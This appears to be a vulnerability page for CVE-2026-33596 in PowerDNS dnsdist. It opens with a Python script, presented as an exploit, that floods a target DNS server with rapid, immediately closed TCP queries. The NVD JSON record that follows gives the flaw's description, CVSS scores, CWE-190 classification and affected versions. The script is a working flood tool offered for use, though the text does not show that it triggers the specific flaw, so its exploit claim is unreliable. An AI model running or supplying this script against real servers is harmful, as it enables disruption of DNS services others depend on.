CVE-2026-33596

import socket import time from struct import pack # Target DNS server (Replace with actual target) TARGET_IP = "192.168.1.10" TARGET_PORT = 53 def create_dns_query(query_id): # Construct a standard DNS query header # ID: 2 bytes, Flags: 0x0100 (Recursion Desired), QDCOUNT: 1 header = pack(">HHHHHH", query_id, 0x0100, 1, 0, 0, 0) # Question: www.example.com question = b"\x03www\x07example\x03com\x00\x00\x01\x00\x01" return header + question def send_flood(): print(f"Starting flood against {TARGET_IP}...") for i in range(1000): try: # Use TCP for this specific exploit scenario sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(1) sock.connect((TARGET_IP, TARGET_PORT)) # Send query length prefix (required for TCP DNS) query = create_dns_query(i) payload = pack(">H", len(query)) + query sock.send(payload) # Close immediately without waiting for response to simulate timing issues sock.close() except Exception as e: print(f"Packet {i} failed: {e}") # Attempt precise timing to trigger the mismatch time.sleep(0.001) if __name__ == "__main__": send_flood()

{"cve": {"id": "CVE-2026-33596", "sourceIdentifier": "[email protected]", "published": "2026-04-22T14:16:54.073", "lastModified": "2026-04-24T18:50:36.870", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A client might theoretically be able to cause a mismatch between queries sent to a backend and the received responses by sending a flood of perfectly timed queries that are routed to a TCP-only or DNS over TLS backend."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 3.1, "baseSeverity": "LOW", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.6, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-190"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:powerdns:dnsdist:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.9.0", "versionEndExcluding": "1.9.13", "matchCriteriaId": "DCC2DF11-EC5C-4112-90F2-C266CB65D390"}, {"vulnerable": true, "criteria": "cpe:2.3:a:powerdns:dnsdist:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.0.0", "versionEndExcluding": "2.0.4", "matchCriteriaId": "29865EC6-C1A0-40F3-B0BB-7F71F9C1DCB7"}]}]}], "references": [{"url": "https://www.dnsdist.org/security-advisories/powerdns-advisory-for-dnsdist-2026-04.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}